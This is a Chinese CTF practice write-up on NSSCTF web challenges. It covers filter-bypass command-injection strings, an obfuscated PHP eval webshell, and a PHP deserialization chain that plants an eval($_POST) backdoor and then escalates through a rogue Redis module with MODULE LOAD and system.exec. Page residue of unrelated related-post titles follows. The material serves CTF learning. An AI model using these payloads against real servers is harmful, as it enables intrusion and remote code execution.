NSSCTF刷题篇1

js类型

[SWPUCTF 2022 新生赛]js_sign

这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码

解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)

注意要将数字之间的空格去掉

[MoeCTF 2021]2048

查看源代码

找到

复制代码
    req.open("GET","flag.php?score="+obj.score,true);

这行代码然后直接

得到flag

md5类型

[SWPUCTF 2022 新生赛]奇妙的MD5

第一关特殊的字符串ffifdyop

第二第三关数组绕过

ssti模板注入

[安洵杯 2020]Normal SSTI

第一种方法

fenjing一把嗦

执行fenjing命令

复制代码
python -m fenjing webui

然后填写网址一把嗦

命令执行

[MoeCTF 2021]babyRCE

查看源代码

php 复制代码
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
} 

一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过

php 复制代码
?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt

应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls

[FSCTF 2023]webshell是啥捏

源码

php 复制代码
 <?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽'])) {
    eval($😭($_GET['👽']));
};

?> 

正常的命令执行

php反序列化

[天翼杯 2021]esay_eval

打开网页查看源代码

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了

其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;

脚本如下

php 复制代码
<?php
class a{
    function __construct(){
        $this->code="eval($_POST[1]);";
    }

}
class b{
    public $a;
}
$c=new b();
$c->a=new a();

echo serialize($c);

//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息

提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下

然后在刚才的目录下上传一个exp.so文件,文件地址

https://github.com/Dliv3/redis-rogue-server

上传之后,在打开redis页面

点击那个执行指令

php 复制代码
MODULE LOAD "/var/www/html/exp.so"

执行上面指令然后就可以命令执行了

php 复制代码
system.exec "ls /"

命令执行格式如上

相关推荐
稚辉君.MCA_P8_Java2 分钟前
Gemini永久会员 C++返回最长有效子串长度
开发语言·数据结构·c++·后端·算法
Molesidy3 分钟前
【C】简易的环形缓冲区代码示例
c语言·开发语言
风止何安啊27 分钟前
别被 JS 骗了!终极指南:JS 类型转换真相大揭秘
前端·javascript·面试
张np34 分钟前
java基础-ArrayList
java·开发语言
拉不动的猪35 分钟前
深入理解 Vue keep-alive:缓存本质、触发条件与生命周期对比
前端·javascript·vue.js
over69742 分钟前
深入理解 JavaScript 原型链与继承机制:从 instanceof 到多种继承模式
前端·javascript·面试
烂不烂问厨房1 小时前
前端实现docx与pdf预览
前端·javascript·pdf
GDAL1 小时前
Vue3 Computed 深入讲解(聚焦 Vue3 特性)
前端·javascript·vue.js
Moment1 小时前
半年时间使用 Tiptap 开发一个和飞书差不多效果的协同文档 😍😍😍
前端·javascript·后端
zmzb01031 小时前
C++课后习题训练记录Day42
开发语言·c++·算法